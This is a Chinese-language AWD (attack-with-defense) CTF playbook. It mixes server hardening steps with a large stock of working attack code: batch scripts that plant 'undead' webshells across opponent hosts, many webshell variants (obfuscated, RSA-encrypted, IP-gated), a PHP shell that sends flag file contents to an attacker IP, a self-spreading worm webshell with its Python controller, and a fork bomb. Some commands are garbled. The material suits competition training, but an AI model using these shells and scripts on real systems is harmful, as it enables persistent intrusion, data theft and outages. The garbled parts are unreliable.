AWD
西安交大的大佬给我们队现阶段打AWD的建议：别怕，很多人也没打过，在大家实力都差不多的时候，就是拼前期准备和**速度**
加固阶段防御
修改密码
- 1.改linux用户密码：
passwd
如果有权限就删除用户：
userdel -r [用户名]
- 2.改mysql密码：
update mysql.user set password=password('密码') where user='root';
删除匿名用户：
delete from mysql.user where user=' ';
刷新配置：
flush privileges;
- 3.改网站后台密码
登录mysql：
mysql -u root -p show databases；use test; show tables;
updata 表名 set 字段名 = ‘值’：
updata admin set user pass=’123456’;
刷新配置：
flush privileges;
dump源码
- 1.备份原代码
使用ssh工具保留源码，复制两份，用d盾去扫一份
注意：如果使用tar命令打包文件夹，.index.php（隐藏类型文件）将不会被打包，因此最好用ls -a检查一遍
或者使用scp命令
先将网站目录打包成tar
tar -cvf [打包后的文件名.tar] [要打包的文件名]
用ssh或ftp将打包文件拉到本地
ssh法:
scp 用户名@IP地址:要下载的文件路径 存放路径
如：scp root@192.168.16.8:/root/flag.txt /root/
ftp法：
ftp [IP地址]
get [文件名]
或者用ftp登入软件下载
- 2.备份数据库
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
cd /var/lib/mysqlmysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
mysqldump —all-databases > 1.sql //备份所有数据库
- 3.数据库还原
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
防御部署
先进行服务器检查：
查看是否留有后门账户
关注是否运行了“特殊”进程
是否使用命令匹配一句话
关闭不必要端口，如远程登陆端口，木马端口，可以用nmap、xray、fscan扫一下自己的机器
接着进行原代码防御：
d盾扫描删除预留后门文件，代码审计工具审计
流量监控脚本部署
WAF脚本部署**：**
- 每个文件前边加 require_once(waf.php);
- 改 .user.ini配置文件 auto_prepend_file=
; 包含在文件头auto_append_file= ; 包含在文件尾注：如果挂了waf出现持续扣分，waf去掉
文件监控脚本部署（**注意：**先上好waf再上文件监控。靶机没有python的话要先安python，赛前记得准备离线安装包（视情况而定））这里贴一个师傅写的
如果能动nginx或apache配置文件，直接做个黑名单redirect 404，别人就进不来了（一般来说check机是不在我们能扫出来的选手列表里，就算check机被我们拉到黑名单里裁判也会通知我们检查服务是否可用，到时把疑似网关的ip剔除出黑名单就行。西交大的朋友：可以试试，不用怕，我第一次打到运维都不带怕的）
常用cms添加waf位置
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
接着还有修复，这里提供一个大佬总结的漏洞快修思路：https://qftm.github.io/2019/08/03/AWD-Bugs-Fix/
漏洞总结
把扫出来和自己审计出来的洞记录下来，方便写批量脚本
编写脚本批量拿分
主要写以下几种批量脚本
1.扫描对手ip
2.预留后门批量拿flag和种木马
3.批量修改对手ssh账号密码
4.批量提交flag
这里放出几种脚本
1.扫描对手ip
import urllib.request
import time
opener = urllib.request.build_opener()
opener.addheaders = [('User-agent', 'Mozilla/49.0.2')]
for n in range(1,255):
nb = str(n)
target = 'http://192-168-1-'+nb+'.awd.bugku.cn/'
new = open('H:/Python3.0Work/AWD/bugkuwz.txt',mode='a+',encoding='utf-8')
new.write(target)
new.write('\n')
file = open('H:/Python3.0Work/AWD/bugkuwz.txt')
lines = file.readlines()
aa=[]
for line in lines:
temp=line.replace('\n','')
aa.append(temp)
print('存活网站如下：')
for a in aa:
tempUrl = a
try :
opener.open(tempUrl)
print(tempUrl)
except urllib.error.HTTPError:
# print(tempUrl+' 访问页面出错')
time.sleep(0.5)
except urllib.error.URLError:
# print(tempUrl+' 访问页面出错')
time.sleep(0.5)
time.sleep(0.1)
2.连接预留后门并种马+4.批量提交flag
from urllib import request
import re
import requests
#连接预留木马进行flag的获取
def getflag():
url = 'http://192-168-1-{}.awd.bugku.cn/a.php' #已知马填写
cmd = {'a' : "system('cat /flag')"} #参数填写
for i in range(1,255):
try:
r = requests.post(url.format(str(i)),data=cmd,timeout=2)
f=open('H:/Python3.0Work/AWD/flag.txt',mode='a+',encoding='utf-8')
f.write(r.text)
except:
pass
#连接预留木马进行不死马的注入
def Nodead():
url = 'http://192-168-1-{}.awd.bugku.cn/a.php' #已知马填写
cmd = {'a' : "system('echo (注意这里填写十六进制转码后的不死马)|xxd -r -ps > bsm.php')"} #参数[a] 进行写入不死马
for i in range(1,255):
try:
r = requests.post(url.format(str(i)),data=cmd,timeout=1)
print(r.url+'存在已知木马，已写入不死马请尽快执行不死马')
response = request.urlopen('http://192-168-1-'+str(i)+'.awd.bugku.cn/bsm.php',timeout=1)
res = response.read().decode('utf-8')
print (res)
except:
pass
#提交flag
def intoflag():
f=open('H:/Python3.0Work/AWD/flag.txt',mode='r+')
while 1:
flag = f.readline()
if not flag:
break
else:
F1 = re.sub('{','',flag)
F2 = re.sub('}','',F1)
F3 = re.sub('flag','',F2,1)
response = request.urlopen('https://ctf.bugku.com/pvp/submit.html?token=[ ]&flag='+F3+'',timeout=1)
res = response.read().decode('utf-8')
print (res)
f.close()
if __name__ =='__main__':
print('Loading......')
getflag()
intoflag()
Nodead()
print('AttackOver！')
连接上述不死马
import requests
import re
from urllib import request
def getflag():
url = 'http://192-168-1-{}.awd.bugku.cn/.123.php' #填写不死马的位置
cmd = {'a' : "system('cat /flag')"}
for i in range(1,255):
try:
b = requests.post(url.format(str(i)),data=cmd,timeout=1)
f=open('H:/Python3.0Work/AWD/flag.txt',mode='a+',encoding='utf-8')
f.write(b.text)
f.close()
except:
pass
def intoflag():
f=open('H:/Python3.0Work/AWD/flag.txt',mode='r+')
while 1:
flag = f.readline()
if not flag:
break
else:
F1 = re.sub('{','',flag)
F2 = re.sub('}','',F1)
F3 = re.sub('flag','',F2,1)
response = request.urlopen('https://ctf.bugku.com/pvp/submit.html?token=[ ]&flag='+F3+'',timeout=1)
res = response.read().decode('utf-8')
print (res)
f.close()
if __name__ =='__main__':
print('后续攻击开始展开......')
getflag()
intoflag()
print('AttackOver！')
攻击
服务发现
使用nmap对c段或端口进行扫描，再用xray、fscan等漏扫工具扫
知道IP地址扫端口
nmap 10.241.180.159 -p1-65535
扫C段
nmap 10.241.180.159/24
我个人最常用的nmap服务发现指令
nmap -sS -sV -p- –min-rate=10000 10.241.180.159
其中-sS表示列出服务，-sV表示列出服务版本，-p-表示所有端口，--min-rate表示最低扫描速度（10000到100000都行）
漏洞利用
awd中较多的几种常见漏洞：
命令执行：尽量混淆流量，防止被干死。通过这个上传自己的木马，这就是前面说的用脚本批量种马
文件上传：绕过黑白名单上传自己的马，同样也是批量种马的一个管道
文件读取：直接读取或者是伪协议方式读取flag，最好做一下混淆，防止别人读我们的方法
sql注入：数据库中有flag，或者sql注入种马
权限维持
普通的一句马
<?php eval($_POST[red])?>
防御方法：删文件就行
header马：普通一句马容易被发现我们的命令执行返回结果，那我们就把内容藏在header里，例如cookie。这样即不容易被发现木马，也不容易被检测出流量异常（加密了当我没说）
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>
防御方法：也是删文件就行，没有从根本上解决普通一句马的问题
混淆马：以下这段和同效
<?php
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
$_POST[0]($_POST[1]); 变换成
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // ?>防御方法：还是删文件，依然没有解决一句马的问题，但应该来说使用工具被从源码关键字上检测出来的可能性已经微乎其微
经典不死马：这个文件执行完后会自动删掉，但其指令仍然会保留在内存中持续执行，而执行的内容就是每0秒就生成一个新的木马
<?php
set_time_limit(0); //PHP脚本限制了执行时间，set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE，则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_POST["password"]);?>'); //创建shell.php
sleep(0); //间隔时间
}
防御方法：对付这种木马，目前最有效的办法就是重启PHP服务器。但在awd模式下，一般无权限重启。可以通过不断复写shell.php来达到该木马难以被使用的效果，代码如下
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); // 后台运行
while(1)
{
file_put_contents('shell.php','11111111'); //创建shell.php
sleep(0);
}
也可以用bash命令，不断删除该木马文件
while : ;do rm -rf xxx; done;
到目前为止，一句马的痛点，也就是文件删除其实已经得到了很好的解决。但无奈还是有办法会被ganggang，怎么办呢？不急，先来看看一些很有用的木马，上面这些马我们可以叫他们“基础马”，而厦门这些马我愿称他们各自的功能为“辅助马”
MD5马：连接密码使用md5进行加密，一般会套个两三层md5，这样基本不可能被爆破（除非真得有啥苦大仇深的人专门为了对付我们）
<?php
i f(md5(md5($_GET['key1']))==="202cb962ac59075b964b07152d234b70")
{
@eval($_POST['key2']);
}
?>
IP验证马：MD5马相对普通马，安全性有了一定提升，但并不能完全杜绝其他队伍的利用。一些队伍可以在php页面内包含waf，抓取流量来获取木马的利用url，可以看到连接小马获取flag的参数。经过复现后，同样能获得flag。于是，我就自然而然的想到了识别ip的php马。
<?php
$ip="x.x.x.x"; //自己的ip
if ($_SERVER['REMOTE_ADDR']===$ip)
{
@eval($_POST["cmd"]);
}
php反弹马：另外一种隐蔽的方式，让被攻击端主动发送flag到我的服务器，同时也只在后台悄悄的运行。
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); // 后台运行
unlink(__FILE__); //删除本文件
while(1){
$file="flag.txt"; //设定要读取的文件
$flag=file_get_contents($file);
//在自己的计算机上打开服务器，输入ip让其访问。并创建一个php记录访问的值，jiflag
$url="http://192.168.50.1/jilu.php?flag=".$flag;
$html=file_get_contents($url);
sleep(10);}
?>
RSA公钥加解密木马：服务器端的php木马负责接收攻击端的指令并执行，将执行结果公钥加密后发回，哪怕别人抓流量复现也只能得到加密后的结果
客户端：（攻击者）
<?php
class Rsa {
private static $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCrFxyAYGqDE9OR3CNPEjGpQDAcIcsc9ZG/2HPgzHsME8n45x1y
P75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6R24LZij0zixRz+mBU/xac+dJ
HIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry54iX4iJ1PVODtw/BZbQIDAQAB
AoGADC0A4kH6Uom+rMq12JK65gijY90jz1PKo5SL6puixiFCZmxMNC1FJZjzlE0p
j7YTm/rjBHCzK7gETpU2RMudUitgsXnwWD9BY2xfcJzukdDYCrgJCuqgGuZ+4D9J
sAWcWmGDpXXVnvROvJF6Yz4230DN754Af+B6vOsRsK+FhSECQQDZwv7iPnPcG9Pr
Ac8T+KMBex0XbEk4Lh4cRuQN224zkdVEkAsldWcWNBQuUeGXgseywz2xcO0GH238
zjc364gXAkEAySIabW3TR6f8kHTiqKo9pBO0y15LqAHGwQckXkfuibzCxM36pj/p
WVcRZy2WcFrnXjj3zXZecopRb9x/Jx9ZGwJBAJ/t+kwnGehZ97XtSiycuvrndGIz
gULle+/AkNUshy8Qt9T3BXipVOCVtwydzlT8E7ZSdgjPqwSIKLs2qI9FSFkCQEW3
8Ysu/4aeHzj/mzW11SoTvp6j7/urqfZtAFlB+9h4uta3Q4PvMXbLbHfkYHpPuFV7
z8HDnxd7BKGOv/CSuDMCQEAEJukly0GbEX8VZxFJ5/Ki3m2toGTD1CePObwW1DaS
dmNxKgsScUdcVw0WUVRL4KV4C2XLib6M9hjwqer0OQM=
-----END RSA PRIVATE KEY-----';
private static function getPrivateKey()
{
$privKey = self::$PRIVATE_KEY;
return openssl_pkey_get_private($privKey);
}
public static function privEncrypt($data = '')
{
if (!is_string($data)) {
return null;
}
return openssl_private_encrypt($data,$encrypted,self::getPrivateKey()) ? base64_encode($encrypted) : null;
}
}
$rsa = new Rsa();
$cmd = $_POST['cmd'];
$action = "enc";
if($action!==Null){
if($action==="enc"){
$privEncrypt = $rsa->privEncrypt($cmd);
echo $privEncrypt;
}
}
服务端：（受害者）
<?php
class Rsa {
private static $PUBLIC_KEY= '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
';
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}
public static function publicDecrypt($encrypted = '')
{
if (!is_string($encrypted)) {
return null;
}
return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
}
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);
测试exp
import requests
import base64
url = "http://127.0.0.1//rsa_client.php"
payload = "system('whoami');"
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/rsa_server.php"
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)
刚刚我们不是说不死马会被干掉吗？没关系，接下来我们再介绍一种专治不死马被干掉的木马
蠕虫马：之所以叫蠕虫马，是因为它可以把我们的木马写到受害者所有php文件里，并且如果被检测到删掉后还会触发相互复活机制，并且还会与其他已感染的主机中的木马互相复活，再配合不死马的重生特性，堪称无敌
这里假设shell.php已经上传到目录，上传目录为upload，ip为192.168.1.1，那么以下代码就实现了这些功能
访问
http://192.168.1.1/upload/shell.php正常不带参数访问是返回状态码500，页面会正常访问带参数下划线访问，会自动感染全站php文件，所有php可以当shell连接
eg:http://192.168.1.1/upload/shell.php?_如上带下划线参数访问后，右键查看页面源代码可以看到所有被感染的php地址。
可以使用python把所有url爬下来，爬取规则：checks_arr = html.find_all(attrs={'id': 'php_url'})
<?php
$tips = 'AWD_Light_Check';
//这个是后面检查的是否感染头，如果没有，就会重写这个php
error_reporting(0);
$Serv_Num = 159;
//这个变量是要写入其他文件头部的本页行数，因为感染了其他php要互相感染，不能把其他原有php代码写入到其他php，会乱套。
$arr_dir = array();
//全局变量，扫到的文件夹
$files = array();
//全局变量，扫到的文件
if (!function_exists('Url_Check')) {
function Url_Check()
{
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= '://';
$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
return $pageURL;
}
function file_check($dir)
{
//扫描文件夹
global $arr_dir;
global $files;
if (is_dir($dir)) {
if ($handle = opendir($dir)) {
while (($file = readdir($handle)) !== false) {
if ($file != '.' && $file != "..") {
if (is_dir($dir . "/" . $file)) {
$arr_dir[] = $dir;
$files[$file] = file_check($dir . "/" . $file);
//拼接文件
} else {
$arr_dir[] = $dir;
$files[] = $dir . "/" . $file;
}
}
}
}
}
closedir($handle);
$arr_dir = array_unique($arr_dir);
//去重
}
function write_conf()
{
#每个目录创一个马
global $Serv_Num;
global $arr_dir;
foreach ($arr_dir as $dir_path) {
// echo '<br>'.$dir_path;
$srcode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$srcode .= $localtext[$i];
}
//所有文件夹都生成一个webshell
// echo "<span style='color:#666'></span> " . $dir_path . "/.Conf_check.php" . "<br/>";
$le = Url_Check();
echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>';
fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
}
// 当前目录所有php被感染
}
function vul_tran()
{
//每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中，甚至可以加注释符号或者退出函数exit()；控制其他页面的可用性。不过要注意一下，是当前目录，这样响应速度会快很多，亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug，所以改过来了。
//######
global $Serv_Num;
$pdir = dirname(__FILE__);
//要获取的目录
//先判断指定的路径是不是一个文件夹
if (is_dir($pdir)) {
if ($dh = opendir($pdir)) {
while (($fi = readdir($dh)) != false) {
//文件名的全路径 包含文件名
$file_Path = $pdir . '/' . $fi;
if (strpos($file_Path, '.php')) {
//筛选当前目录.php后缀
$le = Url_Check();
$file_Path = str_replace('\\', '/', $file_Path);
echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
$ftarget = file($file_Path);
if (!strpos($ftarget[0], 'AWD_Light_Check')) {
//检查头部是否传播
$scode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$scode .= $localtext[$i];
}
$code_check = '';
$file_check = fopen($file_Path, "r");
//复制要传播的文件代码，进行重写
while (!feof($file_check)) {
$code_check .= fgets($file_check) . "\n";
}
fclose($file_check);
$webpage = fopen($file_Path, "w");
fwrite($webpage, $scode . $code_check);
fclose($webpage);
}
}
}
closedir($dh);
}
}
}
}
///////////////////////////////////////////////////////////////////////////////////
//主函数
try {
//定义特征才启动传播模式，特征值为_
if (isset($_GET['_'])) {
$host = Url_Check();
file_check($_SERVER['DOCUMENT_ROOT']);
//全局扫描
write_conf();
//写入单文件
vul_tran();
//感染当前目录
} elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) {
#客户端数字签名校验
$Check_key = '9c82746189f3d1815f1e6bfe259dac29';
$Check_api = $_GET['check'];
$timestamp = $_GET['time'];
$salt = $_GET['salt'];
$csign = $_GET['sign'];
$sign = md5($Check_api . $Check_key . $timestamp . $salt);
if ($sign === $csign) {
$nomal_test = '';
for ($i = 0; $i < strlen($Check_api); $i++) {
$nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt);
}
$nomal_test = base64_decode($nomal_test);
$nowtime = time();
if (abs($nowtime - $timestamp) <= 5) {
$enc = base64_encode(rawurlencode(`{$nomal_test}`));
//解密并执行命令在加密返回
$pieces = explode("i", $enc);
$final = "";
foreach ($pieces as $val) {
$final .= $val . "cAFAcABAAswTA2GE2c";
}
$final = str_replace("=", ":kcehc_revres", $final);
echo strrev(substr($final, 0, strlen($final) - 18));
exit;
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} catch (Exception $e2) {
}
python控制
#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-
from urllib import unquote
import base64
import time
from random import random
from hashlib import md5
import requests
import traceback
passwd = 'admin'
webshell_url = 'http://192.168.75.134/wuhen.php'
cmd='ifconfig'
def getSerTime(url):
ser_time_format = '%a, %d %b %Y %H:%M:%S GMT'
r = requests.get(url, allow_redirects=False)
if r.headers['Date']:
stimestrp = time.strptime(r.headers['Date'], ser_time_format)
stime = time.mktime(stimestrp) + 60 * 60 * 8 # GMT + 8 时区
timeskew = int(time.time()) - int(stime)
return timeskew
else:
return None
# 加密
def encrypt(string, salt, encoding='utf-8'):
estring = ''
b64string = base64.b64encode(string.encode(encoding)).decode('utf-8')
for n, char in enumerate(b64string):
estring += chr(ord(char) ^ n % salt)
return estring
# 解密
def decrypt(estring, salt, encoding='utf-8'):
data=estring[::-1].replace('cAFAcABAAswTA2GE2c','i').replace(':kcehc_revres','=').encode('unicode_escape').decode("string_escape")
string=unquote(base64.urlsafe_b64decode(data))
string=unicode(string, "gb2312").encode("utf8")#windows有中文乱码去掉这个注释，linux去掉这行，不然会报错
return string
# 命令执行
def excmd(url, passwd, cmd, encoding='utf-8'):
try:
timeskew = getSerTime('/'.join(url.split('/')[:-1]))
# 校对服务器时间，防止时间差造成API校验失败
nowtime = int(time.time())
if timeskew == None:
print('检查服务器时间出错，请手动确认服务器时间！')
# 手动获取服务器时间戳，并保存到servtime变量中，int类型
# Linux下获取方法：date +%s
servtime = 1540891350
nowtime = servtime
else:
nowtime -= timeskew
# 开始发起请求
passwd = md5(passwd.encode('utf-8')).hexdigest()
salt = int(random() * 100)
ecmd = encrypt(cmd, salt)
sign_tmp = ecmd + passwd + str(nowtime) + str(salt)
sign = md5(sign_tmp.encode('utf-8')).hexdigest()
parameters = {
'time': nowtime,
'check': ecmd,
'salt': salt,
'sign': sign
}
head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'}
r = requests.get(url, params=parameters, headers=head,timeout=3)
# r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}),
if '0:' in r.text:print '执行成功：',
res = decrypt(r.content.decode('utf-8').replace('0:',''), salt, encoding)
return res
except Exception as e:
pass
# print('参数配置错误，连接异常err:%s'%str(e))
traceback.print_exc()
def main():
r = excmd(webshell_url, passwd, cmd)
print(r)
if __name__ == '__main__':
main()
最后还有一种针对java的内存马，和不死马有点类似，可以看这里
批量脚本
大部分比赛会提前说提交flag的方法，这样我们就可以提前写好脚本，找到漏洞小改一下就能用了
这里是一个批量交flag的例子。其实在加固阶段就已经提及了这些脚本
import requests
def getFlag(ip, port, dir)
fullUrl = "http://" + ip + ":" + port + url
res = requests.get(url = fullUrl)
return res.text
def subFlag(r_time, ip, port, dir, token):
#Set submit flag url
f_url = 'http://10.10.10.10/api/v1/att_def/web/submit_flag/?event_id=21'
#Set token
while True:
for q in ip:
# q是单个ip，port是端口，shell为初始后门的地址，passwd为初始后门的密码
flag_tmp = get_flag(ip, port, dir)
s_f_pay = {
'flag':flag_tmp,
'token':token
}
# r = requests.post(url,headers=headers,data = json.dumps(data))
r = requests.post(f_url, data = s_f_pay)
print(r.text)
time.sleep(r_time * 60)
if __name__ == '__main__' :
# 这个可以看请况写个循环，遍历出所有ip
subFlag(10, 172.35.19.11, 80, "/statics/1.php?file=../../../../../../flag", "FUPDSjgifpoejsiJIFPjipojfdsa")
fork炸弹
最后再说一个攻击时下策中的下策（我打不了你也别打
# 参考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:
非加固阶段防御
实用命令
查找可能的password
cd /var/www/html
find .|xargs grep "password"
查找后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
查找flag的位置
使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方，方便后续拿分
备份网站源码和数据库
mobaxterm直接拖
linux命令进行备份
scp -r -P Port remote_username<a class="at-link" title="@remote_ip" href="https://github.com/remote_ip">@remote_ip</a>:remote_folder local_file
检查有没有多余无用端口对外开放
netstat -anptl
查看新增文件，删掉
find ./ -cmin -30
waf更新
一般就是随着自己队员挖出的新洞或通过分析其他队打进来的log分析可能存在的洞再更新自己的waf
克制不死马
一定要
用户检测
因为用户的UID大于500的都是非系统账号，500以下的都为系统保留的账号，所以查看more /etc/passwd查看是否有后门账户。发现后门账户后userdel 命令删除它。
干掉反弹shell
ps -ef / px -aux
出现www-data权限的/bin/sh一般为nc
如果有一些进程杀不掉可以尝试www-data权限去杀
<?php
system("kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`");
?>
从浏览器访问，就是www-data权限
最好连着kill个两三次
文件监控
这里再贴一个没有py环境时用的监控脚本，基本是用linux命令实现
# -*- encoding: utf-8 -*-
'''
监听还原脚本‐>5分钟还原一次
@File : awd.py
@Time : 2020/08/09 20:44:54
@Author : iloveflag
@Version : 1.0
@Contact : iloveflag@outlook.com
@Desc : The Win32 port can only create tar archives,
but cannot pipe its output to other programs such as gzip or compress,
and will not create tar.gz archives; you will have to use or simulate a batch pipe.
BsdTar does have the ability to direcly create and manipulate .tar, .tar.gz, tar.bz2, .zip,
.gz and .bz2 archives, understands the most-used options of GNU Tar, and is also much faster;
for most purposes it is to be preferred to GNU Tar.
'''
import paramiko
import os
import time
def web_server_command(command,transport): #对服务器执行命令
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command(command)
# print(stdout.read())
def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作
try:
transport = paramiko.Transport(ip, int(port))
transport.connect(username=user, password=passwd)
sftp = paramiko.SFTP.from_transport(transport)
remote_path='/var/www/html/'
remote_file = 'html.tar'
local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'
web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)
if not(os.path.exists(local_path)):
os.makedirs(local_path)
if action == 'get':
sftp.get(remote_path+remote_file,local_path+remote_file)
web_server_command('rm -rf '+remote_path+remote_file,transport)
print('服务器源码保存在'+local_path)
print('正在解压:')
os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)
print('文件解压完成')
else:
web_server_command('rm -rf '+remote_path+'*',transport)
print('清理服务器web目录')
os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')
sftp.put(local_path+remote_file, remote_path+remote_file)
print('上传成功')
web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)
print('还原完毕')
print('-----------------------------')
sftp.close()
except:
pass
print('download or upload error')
def web_server_mysql_action():
#web_server_mysql_action
pass
def web_server_status():
#web_server_status
pass
if __name__ == '__main__':
web1_server_ip='10.241.180.159'
web1_server_port='30021'
web1_server_user='ctf'
web1_server_passwd='123456'
while(1):
for i in range(5,0,-1):
time.sleep(1)
print('倒计时'+str(i)+'秒')
web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')
常用linux命令
ssh <-p 端口> 用户名@IP
scp 文件路径 用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill - <PID>
#封杀某个IP或者ip段，如：.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机，如123..
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -
如果有root权限可以用chattr命令防止系统中某个关键文件被修改chattr +i /etc/resolv.conf如果想进行修改，必须用命令”chattr -i”取消隐藏属性
ls -t 按修改时间来看最新被修改的文件
流量监控
流量监控可以使用aoiawd进行
被上马一定要先备份到本地，再删除、去分析反打别人
这里贴一个php的流量监控
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间：'.$time.'-->'.'访问链接：'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
还有一种weblogger，比赛前记得准备
wireshark与TCPdump
wireshark就不用我介绍了，想必学misc的比我还熟
着重介绍一下tcpdump的常用指令
端口过滤
抓取所有经过ens33，目的或源端口22的网络数据：
tcpdump -i ens33 port 22
指定源端口：tcpdump -i ens33 sec port 22
指定目的端口: tcpdump -i ens33 dst port 22
网络过滤
tcpdump -i ens33 net 192.168.1.1
tcpdump -i ens33 src net 192.168.1.1 #源端口
tcpdump -i ens33 dst net 192.168.1.1 #目的端口
协议过滤
tcpdump -i ens33 arp
tcpdump -i ens33 ip
tcpdump -i ens33 tcp
tcpdump -i ens33 udp
tcpdump -i ens33 icmp
tcpdump -w 1.pcap #抓所有包保存到1.pcap中然后使用wireshark分析
AoiAWD
aoiawd地址：https://github.com/DasSecurity-HatLab/AoiAWD
指定端口重放
// 批量端口
$ports = [10024, 10021, 10023];
$host1 = "http://" . '10.241.180.159';
foreach ($ports as $port) {
$host = $host1 . ':' . $port;
echo "Sending to: {$host}\n\n";
sendPayload($host);
}
exit;
优秀文章
针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具
ISW
这个我们有经验比较不用担心，口述交流经验